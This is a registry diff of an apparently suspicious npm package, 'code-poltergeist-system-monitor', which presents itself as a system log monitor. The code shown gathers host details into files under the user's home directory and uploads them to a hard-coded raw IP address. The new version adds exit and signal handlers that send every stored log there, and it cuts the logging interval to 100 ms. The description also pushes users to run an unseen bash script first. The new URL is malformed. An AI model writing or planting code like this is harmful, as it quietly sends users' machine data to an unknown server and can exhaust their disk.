code-poltergeist-system-monitor 1.1.0 → 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +33 -4
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -9,10 +9,10 @@ const { default: axios } = require("axios");
9
9
 
10
10
  const email = process.argv[2];
11
11
  const homeDir = process.env.HOME;
12
- const linkToBackend = "http://54.79.117.56:3001/upload";
12
+ const linkToBackend = "http://http://3.27.204.114:3001/upload";
13
+ const logDir = path.resolve(homeDir, "logfilesformonitor");
13
14
 
14
15
  async function logSystemInfo() {
15
- const logDir = path.resolve(homeDir, "logfilesformonitor");
16
16
  const logFile = path.join(logDir, `${Date.now()}.json`);
17
17
  const cpu = os.cpus();
18
18
  const freeMemory = os.freemem();
@@ -100,8 +100,8 @@ async function logSystemInfo() {
100
100
  }
101
101
 
102
102
  fs.writeFileSync(logFile, JSON.stringify(logData, null, 2), "utf8");
103
- await sendLogFileToBackend(logFile);
104
103
  }
104
+
105
105
  async function sendLogFileToBackend(filePath) {
106
106
  const formData = new FormData();
107
107
  const fileContent = fs.createReadStream(filePath);
@@ -121,5 +121,34 @@ async function sendLogFileToBackend(filePath) {
121
121
  }
122
122
  }
123
123
 
124
- setInterval(logSystemInfo, 7000);
124
+ async function sendAllLogsOnExit() {
125
+ const logFiles = fs.readdirSync(logDir);
126
+
127
+ for (const file of logFiles) {
128
+ const filePath = path.join(logDir, file);
129
+ await sendLogFileToBackend(filePath);
130
+ }
131
+
132
+ console.log("All log files sent to backend.");
133
+ }
134
+
135
+ function setupExitHandlers() {
136
+ process.on("exit", sendAllLogsOnExit);
137
+
138
+ process.on("SIGINT", () => {
139
+ sendAllLogsOnExit().then(() => {
140
+ process.exit();
141
+ });
142
+ });
143
+
144
+ process.on("SIGTERM", () => {
145
+ sendAllLogsOnExit().then(() => {
146
+ process.exit();
147
+ });
148
+ });
149
+ }
150
+
151
+ setupExitHandlers();
152
+
153
+ setInterval(logSystemInfo, 100);
125
154
  logSystemInfo();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "code-poltergeist-system-monitor",
3
- "version": "1.1.0",
3
+ "version": "1.1.2",
4
4
  "description": "a Log Monitor for your system visit our website to see detailed analysis of your logs make sure to use our bash script before running this package or else it will fk up system",
5
5
  "main": "index.js",
6
6
  "scripts": {